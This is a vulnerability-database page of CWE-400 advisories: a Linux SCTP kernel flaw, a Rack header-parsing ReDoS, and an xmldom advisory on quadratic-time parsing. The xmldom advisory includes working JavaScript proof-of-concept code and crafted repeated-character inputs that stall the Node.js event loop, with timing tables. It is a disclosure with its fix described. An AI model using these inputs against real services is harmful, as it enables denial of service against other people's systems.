Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

The product does not properly control the allocation and maintenance of a limited resource.

6312 vulnerabilities reference this CWE, most recent first.

GHSA-93P9-8FJ5-VJV2

Vulnerability from github – Published: 2022-05-13 01:24 – Updated: 2022-05-13 01:24
VLAI
Details

The sctp_auth_asoc_get_hmac function in net/sctp/auth.c in the Linux kernel before 2.6.36 does not properly validate the hmac_ids array of an SCTP peer, which allows remote attackers to cause a denial of service (memory corruption and panic) via a crafted value in the last element of this array.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2010-3705"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2010-11-26T20:00:00Z",
    "severity": "HIGH"
  },
  "details": "The sctp_auth_asoc_get_hmac function in net/sctp/auth.c in the Linux kernel before 2.6.36 does not properly validate the hmac_ids array of an SCTP peer, which allows remote attackers to cause a denial of service (memory corruption and panic) via a crafted value in the last element of this array.",
  "id": "GHSA-93p9-8fj5-vjv2",
  "modified": "2022-05-13T01:24:12Z",
  "published": "2022-05-13T01:24:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2010-3705"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2010:0842"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2010:0958"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2010-3705"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=640036"
    },
    {
      "type": "WEB",
      "url": "http://git.kernel.org/?p=linux/kernel/git/davem/net-2.6.git%3Ba=commit%3Bh=51e97a12bef19b7e43199fc153cf9bd5f2140362"
    },
    {
      "type": "WEB",
      "url": "http://git.kernel.org/?p=linux/kernel/git/davem/net-2.6.git;a=commit;h=51e97a12bef19b7e43199fc153cf9bd5f2140362"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2010-December/052513.html"
    },
    {
      "type": "WEB",
      "url": "http://marc.info/?l=linux-kernel\u0026m=128596992418814\u0026w=2"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/42745"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2010/dsa-2126"
    },
    {
      "type": "WEB",
      "url": "http://www.kernel.org/pub/linux/kernel/v2.6/ChangeLog-2.6.36"
    },
    {
      "type": "WEB",
      "url": "http://www.mandriva.com/security/advisories?name=MDVSA-2011:029"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2010/10/04/2"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2010/10/04/7"
    },
    {
      "type": "WEB",
      "url": "http://www.redhat.com/support/errata/RHSA-2010-0842.html"
    },
    {
      "type": "WEB",
      "url": "http://www.redhat.com/support/errata/RHSA-2010-0958.html"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/USN-1000-1"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2010/3321"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-93PM-5P5F-3GHX

Vulnerability from github – Published: 2023-01-18 18:24 – Updated: 2023-10-23 19:18
VLAI
Summary
Denial of Service Vulnerability in Rack Content-Disposition parsing
Details

There is a denial of service vulnerability in the Content-Disposition parsing component of Rack. This vulnerability has been assigned the CVE identifier CVE-2022-44571.

Versions Affected: >= 2.0.0 Not affected: None. Fixed Versions: 2.0.9.2, 2.1.4.2, 2.2.6.1, 3.0.0.1 Impact

Carefully crafted input can cause Content-Disposition header parsing in Rack to take an unexpected amount of time, possibly resulting in a denial of service attack vector. This header is used typically used in multipart parsing. Any applications that parse multipart posts using Rack (virtually all Rails applications) are impacted. Releases

The fixed releases are available at the normal locations. Workarounds

There are no feasible workarounds for this issue. Patches

To aid users who aren’t able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.

2-0-Fix-ReDoS-vulnerability-in-multipart-parser - Patch for 2.0 series
2-1-Fix-ReDoS-vulnerability-in-multipart-parser - Patch for 2.1 series
2-2-Fix-ReDoS-vulnerability-in-multipart-parser - Patch for 2.2 series
3-0-Fix-ReDoS-vulnerability-in-multipart-parser - Patch for 3.0 series
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.0.9.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.0"
            },
            {
              "fixed": "2.1.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0.0"
            },
            {
              "fixed": "3.0.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-44571"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-01-18T18:24:40Z",
    "nvd_published_at": "2023-02-09T20:15:00Z",
    "severity": "LOW"
  },
  "details": "There is a denial of service vulnerability in the Content-Disposition parsing component of Rack. This vulnerability has been assigned the CVE identifier CVE-2022-44571.\n\nVersions Affected: \u003e= 2.0.0 Not affected: None. Fixed Versions: 2.0.9.2, 2.1.4.2, 2.2.6.1, 3.0.0.1\nImpact\n\nCarefully crafted input can cause Content-Disposition header parsing in Rack to take an unexpected amount of time, possibly resulting in a denial of service attack vector. This header is used typically used in multipart parsing. Any applications that parse multipart posts using Rack (virtually all Rails applications) are impacted.\nReleases\n\nThe fixed releases are available at the normal locations.\nWorkarounds\n\nThere are no feasible workarounds for this issue.\nPatches\n\nTo aid users who aren\u2019t able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.\n\n    2-0-Fix-ReDoS-vulnerability-in-multipart-parser - Patch for 2.0 series\n    2-1-Fix-ReDoS-vulnerability-in-multipart-parser - Patch for 2.1 series\n    2-2-Fix-ReDoS-vulnerability-in-multipart-parser - Patch for 2.2 series\n    3-0-Fix-ReDoS-vulnerability-in-multipart-parser - Patch for 3.0 series\n",
  "id": "GHSA-93pm-5p5f-3ghx",
  "modified": "2023-10-23T19:18:08Z",
  "published": "2023-01-18T18:24:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-44571"
    },
    {
      "type": "WEB",
      "url": "https://discuss.rubyonrails.org/t/cve-2022-44571-possible-denial-of-service-vulnerability-in-rack-content-disposition-parsing/82126"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rack/rack"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rack/rack/releases/tag/v3.0.4.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack/CVE-2022-44571.yml"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2023/dsa-5530"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Denial of Service Vulnerability in Rack Content-Disposition parsing"
}

GHSA-93R5-FHX6-VMG9

Vulnerability from github – Published: 2026-09-08 21:00 – Updated: 2026-09-08 21:00
VLAI
Summary
xmldom: Quadratic-time parsing via the malformed-input recovery path — `parseElementStartPart` re-scan and `normalize()` adjacent-text merge
Details

Summary

xmldom's malformed-input error-recovery path has two quadratic-time (O(n²)) behaviors that a single crafted input triggers together, so a tiny, highly compressible document (tens of KB) stalls the Node.js event loop for multiple seconds. It is reachable from DOMParser.parseFromString under default options — i.e. from unauthenticated, network-delivered XML — making this an unauthenticated denial of service. One of the two behaviors, the normalize() adjacent-text merge, is additionally reachable programmatically — via a plain normalize() call on a DOM built with adjacent text nodes, independent of the parser — so its fix must live in normalize(), not only in a parser bound.

Details

Finding A — parseElementStartPart quadratic re-scan

A < character is not a delimiter in any tag-parsing state, so parseElementStartPart scans forward character-by-character over any embedded < until it reaches the next > (or end of input), then validates the accumulated slice as a tag name and throws invalid tagName: on failure. The main loop catches this, reports an error, sets end = -1, and recovers by advancing a single character (appendText(Math.max(tagStart, start) + 1)). With a long run of < and a distant >, each of the O(n) recovery retries performs an O(n) scan plus an O(n) anchored regex validation over the growing candidate ⇒ O(n²).

Code (0.9.x, bb7a085dc5ba1eea3212388509b97bb4b4af32b9):

  • parseElementStartPart character scan — https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/sax.js#L263-L461
  • tag-name validation (setTagName → throws invalid tagName) — https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/sax.js#L886-L891
  • main-loop catch → error + end = -1 — https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/sax.js#L234-L242
  • single-character recovery fallback — https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/sax.js#L247

Code (0.8.x, e5c14802592685bb872c042c54c3f73758875c85):

  • parseElementStartPart — https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/sax.js#L227
  • catch → error + end = -1 — https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/sax.js#L202-L208
  • recovery fallback — https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/sax.js#L213
  • setTagName validation — https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/sax.js#L616-L621

Finding B — normalize() adjacent-text O(K²) merge

endDocument() calls document.normalize(). For a parent with K adjacent text nodes (produced by the one-character recovery of Finding A), normalize() performs K−1 merges. Each merge does a removeChild — which re-indexes all child nodes of the parent (O(K)) — and an appendData — which rebuilds the accumulator string this.data + text (O(K)). Total: O(K²).

Well-formed XML cannot produce adjacent text-node siblings through the parser (each text run is one node; comments, CDATA, PIs, and elements sit between runs), so the parse-path trigger for Finding B is the malformed-input recovery that emits single-character text nodes. The same O(K²) merge is, however, independently reachable via the public normalize() API on a programmatically built tree (see "Finding B is additionally reachable programmatically" below).

Code (0.9.x, bb7a085dc5ba1eea3212388509b97bb4b4af32b9):

  • endDocument → normalize() — https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom-parser.js#L418-L420
  • normalize() adjacent-text merge — https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L1336-L1356
  • removeChild re-index-all branch — https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L1788-L1798
  • appendData string rebuild — https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L2786-L2790

Code (0.8.x, e5c14802592685bb872c042c54c3f73758875c85):

  • endDocument → normalize() — https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom-parser.js#L213-L214
  • normalize() merge — https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom.js#L529-L549
  • removeChild re-index-all branch — https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom.js#L756-L773
  • appendData string rebuild — https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom.js#L1533

Finding B is additionally reachable programmatically (no parser involved)

Node.prototype.normalize() is public API on every Document/Element. A tree built entirely through the ordinary DOM API — new DOMImplementation().createDocument(...), then K× createTextNode + appendChild on one parent — reaches the same O(K²) merge when the application calls normalize(), with no parsing and no error-recovery. The parser is only one of the two callers of the vulnerable merge:

  • the parser's automatic endDocument() → document.normalize() (the parse-path trigger above), and
  • any explicit application call to the public normalize() on a tree with adjacent text nodes.

XMLSerializer does not call normalize(), so serializing an un-merged tree is O(total text), not O(K²); the O(K²) surface is exactly those two normalize() callers. Consequently a parser-side bound alone cannot remediate Finding B — the fix must live in normalize().

Affected Versions

Both findings are present across the full published @xmldom/xmldom history — both currently-maintained versions (0.8.x and 0.9.x) are affected — and across the retired unscoped xmldom line. Finding B's normalize() merge is additionally reachable programmatically: a direct normalize() call on a DOM built with adjacent text nodes hits the same O(K²) merge, independent of the parser — so, unlike Finding A, it does not require the malformed-input recovery path.

Proof of Concept

Default DOMParser, no options. The input is trivially compressible (a< / a<> repeated) and never throws — it is parsed via the recovery path.

const { DOMParser } = require('@xmldom/xmldom');

// Silence the expected `error`-level recovery reports (default handler logs
// them to console.error without throwing; only fatalError throws).
console.error = function () {};

function timeParse(label, xml, mime) {
  const t0 = process.hrtime.bigint();
  new DOMParser().parseFromString(xml, mime); // completes; no exception
  const ms = Number(process.hrtime.bigint() - t0) / 1e6;
  console.log(label + '  bytes=' + Buffer.byteLength(xml) + '  time=' + ms.toFixed(1) + ' ms');
}

for (const N of [4000, 8000, 16000, 32000]) {
  // Finding A: long re-scans, O(n^2) during parse.
  timeParse('A N=' + N, '<r>' + 'a<'.repeat(N) + '</r>', 'text/xml');
  // Finding B: short re-scans (cheap parse) but K adjacent text nodes -> O(K^2) in normalize().
  timeParse('B N=' + N, '<r>' + 'a<>'.repeat(N) + '</r>', 'text/html');
  // Combined: ONE input hits both A and B under the default parser.
  timeParse('C N=' + N, '<r>' + 'a<'.repeat(N) + '</r>', 'text/xml');
}

Measured on Node v18.20.8 (absolute ms vary by host; the load-bearing fact is that doubling the input ~quadruples the time — canonical O(n²)):

Finding A, isolated ("<r>" + "a<"×N + "</r>", normalize disabled to isolate the re-scan):

N input bytes @xmldom/xmldom 0.9.10 0.8.13
2000 4007 43 ms 37 ms
4000 8007 129 ms 106 ms
8000 16007 434 ms 424 ms
16000 32007 1629 ms 1611 ms

Finding B, isolated ("<r>" + "a<>"×N + "</r>", time attributable to normalize()):

K (N) input bytes 0.9.10 0.8.13
4000 12007 120 ms 165 ms
8000 24007 589 ms 771 ms
16000 48007 3142 ms 4448 ms
32000 96007 12127 ms 12951 ms

Combined (default parser, both findings; "<r>" + "a<"×N + "</r>"):

N input bytes 0.9.10 0.8.13
4000 8007 341 ms 397 ms
8000 16007 1894 ms 1641 ms
16000 32007 4398 ms 7661 ms

~32 KB of input → several seconds of single-threaded event-loop stall.

Finding B via the public normalize() API (no parser)

const { DOMImplementation } = require('@xmldom/xmldom');

function timeNormalize(K) {
  const doc = new DOMImplementation().createDocument(null, 'r', null);
  const el = doc.documentElement;
  for (let i = 0; i < K; i++) el.appendChild(doc.createTextNode('x')); // K adjacent text nodes
  const t0 = process.hrtime.bigint();
  doc.normalize();                                    // O(K^2) merge — no parsing involved
  const ms = Number(process.hrtime.bigint() - t0) / 1e6;
  console.log('K=' + K + '  time=' + ms.toFixed(1) + ' ms');
}
for (const K of [2000, 4000, 8000, 16000, 32000]) timeNormalize(K);

Measured on Node v18.20.8 (doubling K ~quadruples the time — O(K²)):

K 0.9.10 0.8.13
2000 5.7 ms 5.6 ms
32000 1263 ms 1704 ms

This path is reachable by any application that builds a DOM from attacker-influenced data and calls normalize(), entirely independent of DOMParser.

Impact

Availability only: a single parse of a small crafted document blocks the Node.js event loop for the duration of the quadratic work (multiple seconds at tens of KB; larger inputs scale as O(n²)). No memory blow-up beyond transient strings, no data exposure, no integrity impact. Because XML is routinely accepted from untrusted sources and parsed with default options, one request can stall a server. The payloads are highly compressible, so any endpoint accepting compressed XML faces additional amplification. Finding B is additionally reachable via an explicit normalize() call on a programmatically built DOM (see Proof of Concept), so applications that construct a document from attacker-influenced data and normalize it are exposed even without parsing.

Severity note

The complexity is quadratic, not exponential, so a multi-second stall requires tens-to-hundreds of KB of input. VA:H reflects that xmldom applies no input-size limit and the path runs on default-options parsing, so a single unbounded parse can fully stall the event loop.

Fix Applied

Two independent, non-breaking fixes shipped together — each alone leaves the other's quadratic cost dominating the default parse. Finding A — terminate the malformed tag-name scan at an embedded <, so error recovery is linear instead of O(n²). DOM output is unchanged; only the reported error-message text differs (error strings are not a semver contract). Finding B — merge adjacent text nodes in normalize() in O(K) instead of O(K²), which also closes the same slowdown reachable programmatically through a direct normalize() call. Both ship on both maintained versions.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.14"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@xmldom/xmldom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.7.0"
            },
            {
              "fixed": "0.8.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.11"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@xmldom/xmldom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.9.0"
            },
            {
              "fixed": "0.9.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "xmldom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.3.0"
            },
            {
              "last_affected": "0.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-83614"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-08T21:00:41Z",
    "nvd_published_at": "2026-09-01T15:17:39Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`xmldom`\u0027s malformed-input **error-recovery path** has two quadratic-time (O(n\u00b2)) behaviors that a\nsingle crafted input triggers together, so a tiny, highly compressible document (tens of KB) stalls\nthe Node.js event loop for multiple seconds. It is reachable from `DOMParser.parseFromString` under\n**default options** \u2014 i.e. from unauthenticated, network-delivered XML \u2014 making this an unauthenticated\ndenial of service. One of the two behaviors, the `normalize()` adjacent-text merge, is **additionally\nreachable programmatically** \u2014 via a plain `normalize()` call on a DOM built with adjacent text nodes,\nindependent of the parser \u2014 so its fix must live in `normalize()`, not only in a parser bound.\n\n## Details\n\n### Finding A \u2014 `parseElementStartPart` quadratic re-scan\n\nA `\u003c` character is not a delimiter in any tag-parsing state, so `parseElementStartPart` scans\nforward character-by-character over any embedded `\u003c` until it reaches the next `\u003e` (or end of\ninput), then validates the accumulated slice as a tag name and throws `invalid tagName:` on failure.\nThe main loop catches this, reports an `error`, sets `end = -1`, and recovers by advancing a single\ncharacter (`appendText(Math.max(tagStart, start) + 1)`). With a long run of `\u003c` and a distant `\u003e`,\neach of the O(n) recovery retries performs an O(n) scan plus an O(n) anchored regex validation over\nthe growing candidate \u21d2 **O(n\u00b2)**.\n\nCode (0.9.x, `bb7a085dc5ba1eea3212388509b97bb4b4af32b9`):\n\n- `parseElementStartPart` character scan \u2014 https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/sax.js#L263-L461\n- tag-name validation (`setTagName` \u2192 throws `invalid tagName`) \u2014 https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/sax.js#L886-L891\n- main-loop `catch` \u2192 `error` + `end = -1` \u2014 https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/sax.js#L234-L242\n- single-character recovery fallback \u2014 https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/sax.js#L247\n\nCode (0.8.x, `e5c14802592685bb872c042c54c3f73758875c85`):\n\n- `parseElementStartPart` \u2014 https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/sax.js#L227\n- `catch` \u2192 `error` + `end = -1` \u2014 https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/sax.js#L202-L208\n- recovery fallback \u2014 https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/sax.js#L213\n- `setTagName` validation \u2014 https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/sax.js#L616-L621\n\n### Finding B \u2014 `normalize()` adjacent-text O(K\u00b2) merge\n\n`endDocument()` calls `document.normalize()`. For a parent with K adjacent text nodes (produced by\nthe one-character recovery of Finding A), `normalize()` performs K\u22121 merges. Each merge does a\n`removeChild` \u2014 which re-indexes **all** child nodes of the parent (O(K)) \u2014 and an `appendData` \u2014\nwhich rebuilds the accumulator string `this.data + text` (O(K)). Total: **O(K\u00b2)**.\n\nWell-formed XML cannot produce adjacent text-node siblings *through the parser* (each text run is one\nnode; comments, CDATA, PIs, and elements sit between runs), so the **parse-path** trigger for Finding B\nis the malformed-input recovery that emits single-character text nodes. The same O(K\u00b2) merge is,\nhowever, independently reachable via the public `normalize()` API on a programmatically built tree\n(see \"Finding B is additionally reachable programmatically\" below).\n\nCode (0.9.x, `bb7a085dc5ba1eea3212388509b97bb4b4af32b9`):\n\n- `endDocument` \u2192 `normalize()` \u2014 https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom-parser.js#L418-L420\n- `normalize()` adjacent-text merge \u2014 https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L1336-L1356\n- `removeChild` re-index-all branch \u2014 https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L1788-L1798\n- `appendData` string rebuild \u2014 https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L2786-L2790\n\nCode (0.8.x, `e5c14802592685bb872c042c54c3f73758875c85`):\n\n- `endDocument` \u2192 `normalize()` \u2014 https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom-parser.js#L213-L214\n- `normalize()` merge \u2014 https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom.js#L529-L549\n- `removeChild` re-index-all branch \u2014 https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom.js#L756-L773\n- `appendData` string rebuild \u2014 https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom.js#L1533\n\n### Finding B is additionally reachable programmatically (no parser involved)\n\n`Node.prototype.normalize()` is public API on every `Document`/`Element`. A tree built entirely through\nthe ordinary DOM API \u2014 `new DOMImplementation().createDocument(...)`, then K\u00d7 `createTextNode` +\n`appendChild` on one parent \u2014 reaches the **same** O(K\u00b2) merge when the application calls `normalize()`,\nwith **no** parsing and **no** error-recovery. The parser is only *one* of the two callers of the\nvulnerable merge:\n\n- the parser\u0027s automatic `endDocument()` \u2192 `document.normalize()` (the parse-path trigger above), and\n- any explicit application call to the public `normalize()` on a tree with adjacent text nodes.\n\n`XMLSerializer` does **not** call `normalize()`, so serializing an un-merged tree is O(total text), not\nO(K\u00b2); the O(K\u00b2) surface is exactly those two `normalize()` callers. Consequently a parser-side bound\nalone cannot remediate Finding B \u2014 the fix must live in `normalize()`.\n\n## Affected Versions\n\nBoth findings are present across the full published `@xmldom/xmldom` history \u2014 both\ncurrently-maintained versions (`0.8.x` and `0.9.x`) are affected \u2014 and across the retired unscoped\n`xmldom` line. Finding B\u0027s `normalize()` merge is additionally reachable **programmatically**: a\ndirect `normalize()` call on a DOM built with adjacent text nodes hits the same O(K\u00b2) merge,\nindependent of the parser \u2014 so, unlike Finding A, it does not require the malformed-input recovery\npath.\n\n## Proof of Concept\n\nDefault `DOMParser`, no options. The input is trivially compressible (`a\u003c` / `a\u003c\u003e` repeated) and\nnever throws \u2014 it is parsed via the recovery path.\n\n```js\nconst { DOMParser } = require(\u0027@xmldom/xmldom\u0027);\n\n// Silence the expected `error`-level recovery reports (default handler logs\n// them to console.error without throwing; only fatalError throws).\nconsole.error = function () {};\n\nfunction timeParse(label, xml, mime) {\n  const t0 = process.hrtime.bigint();\n  new DOMParser().parseFromString(xml, mime); // completes; no exception\n  const ms = Number(process.hrtime.bigint() - t0) / 1e6;\n  console.log(label + \u0027  bytes=\u0027 + Buffer.byteLength(xml) + \u0027  time=\u0027 + ms.toFixed(1) + \u0027 ms\u0027);\n}\n\nfor (const N of [4000, 8000, 16000, 32000]) {\n  // Finding A: long re-scans, O(n^2) during parse.\n  timeParse(\u0027A N=\u0027 + N, \u0027\u003cr\u003e\u0027 + \u0027a\u003c\u0027.repeat(N) + \u0027\u003c/r\u003e\u0027, \u0027text/xml\u0027);\n  // Finding B: short re-scans (cheap parse) but K adjacent text nodes -\u003e O(K^2) in normalize().\n  timeParse(\u0027B N=\u0027 + N, \u0027\u003cr\u003e\u0027 + \u0027a\u003c\u003e\u0027.repeat(N) + \u0027\u003c/r\u003e\u0027, \u0027text/html\u0027);\n  // Combined: ONE input hits both A and B under the default parser.\n  timeParse(\u0027C N=\u0027 + N, \u0027\u003cr\u003e\u0027 + \u0027a\u003c\u0027.repeat(N) + \u0027\u003c/r\u003e\u0027, \u0027text/xml\u0027);\n}\n```\n\nMeasured on Node v18.20.8 (absolute ms vary by host; the load-bearing fact is that doubling the\ninput ~quadruples the time \u2014 canonical O(n\u00b2)):\n\nFinding A, isolated (`\"\u003cr\u003e\" + \"a\u003c\"\u00d7N + \"\u003c/r\u003e\"`, normalize disabled to isolate the re-scan):\n\n| N | input bytes | `@xmldom/xmldom` 0.9.10 | 0.8.13 |\n|--:|--:|--:|--:|\n| 2000 | 4007 | 43 ms | 37 ms |\n| 4000 | 8007 | 129 ms | 106 ms |\n| 8000 | 16007 | 434 ms | 424 ms |\n| 16000 | 32007 | 1629 ms | 1611 ms |\n\nFinding B, isolated (`\"\u003cr\u003e\" + \"a\u003c\u003e\"\u00d7N + \"\u003c/r\u003e\"`, time attributable to `normalize()`):\n\n| K (N) | input bytes | 0.9.10 | 0.8.13 |\n|--:|--:|--:|--:|\n| 4000 | 12007 | 120 ms | 165 ms |\n| 8000 | 24007 | 589 ms | 771 ms |\n| 16000 | 48007 | 3142 ms | 4448 ms |\n| 32000 | 96007 | 12127 ms | 12951 ms |\n\nCombined (default parser, both findings; `\"\u003cr\u003e\" + \"a\u003c\"\u00d7N + \"\u003c/r\u003e\"`):\n\n| N | input bytes | 0.9.10 | 0.8.13 |\n|--:|--:|--:|--:|\n| 4000 | 8007 | 341 ms | 397 ms |\n| 8000 | 16007 | 1894 ms | 1641 ms |\n| 16000 | 32007 | 4398 ms | 7661 ms |\n\n~32 KB of input \u2192 several seconds of single-threaded event-loop stall.\n\n### Finding B via the public `normalize()` API (no parser)\n\n```js\nconst { DOMImplementation } = require(\u0027@xmldom/xmldom\u0027);\n\nfunction timeNormalize(K) {\n  const doc = new DOMImplementation().createDocument(null, \u0027r\u0027, null);\n  const el = doc.documentElement;\n  for (let i = 0; i \u003c K; i++) el.appendChild(doc.createTextNode(\u0027x\u0027)); // K adjacent text nodes\n  const t0 = process.hrtime.bigint();\n  doc.normalize();                                    // O(K^2) merge \u2014 no parsing involved\n  const ms = Number(process.hrtime.bigint() - t0) / 1e6;\n  console.log(\u0027K=\u0027 + K + \u0027  time=\u0027 + ms.toFixed(1) + \u0027 ms\u0027);\n}\nfor (const K of [2000, 4000, 8000, 16000, 32000]) timeNormalize(K);\n```\n\nMeasured on Node v18.20.8 (doubling K ~quadruples the time \u2014 O(K\u00b2)):\n\n| K | 0.9.10 | 0.8.13 |\n|--:|--:|--:|\n| 2000 | 5.7 ms | 5.6 ms |\n| 32000 | 1263 ms | 1704 ms |\n\nThis path is reachable by any application that builds a DOM from attacker-influenced data and calls\n`normalize()`, entirely independent of `DOMParser`.\n\n## Impact\n\nAvailability only: a single parse of a small crafted document blocks the Node.js event loop for the\nduration of the quadratic work (multiple seconds at tens of KB; larger inputs scale as O(n\u00b2)). No\nmemory blow-up beyond transient strings, no data exposure, no integrity impact. Because XML is\nroutinely accepted from untrusted sources and parsed with default options, one request can stall a\nserver. The payloads are highly compressible, so any endpoint accepting compressed XML faces\nadditional amplification. Finding B is additionally reachable via an explicit `normalize()` call on a\nprogrammatically built DOM (see Proof of Concept), so applications that construct a document from attacker-influenced\ndata and normalize it are exposed even without parsing.\n\n## Severity note\n\nThe complexity is **quadratic**, not exponential, so a multi-second stall requires\ntens-to-hundreds of KB of input. `VA:H` reflects that xmldom applies **no** input-size limit and the\npath runs on default-options parsing, so a single unbounded parse can fully stall the event loop.\n\n## Fix Applied\n\nTwo independent, non-breaking fixes shipped together \u2014 each alone leaves the other\u0027s quadratic cost dominating the default parse.\nFinding A \u2014 terminate the malformed tag-name scan at an embedded `\u003c`, so error recovery is linear instead of O(n\u00b2). DOM output is unchanged; only the reported error-message text differs (error strings are not a semver contract).\nFinding B \u2014 merge adjacent text nodes in `normalize()` in O(K) instead of O(K\u00b2), which also closes the same slowdown reachable programmatically through a direct `normalize()` call. Both ship on both maintained versions.",
  "id": "GHSA-93r5-fhx6-vmg9",
  "modified": "2026-09-08T21:00:41Z",
  "published": "2026-09-08T21:00:41Z",
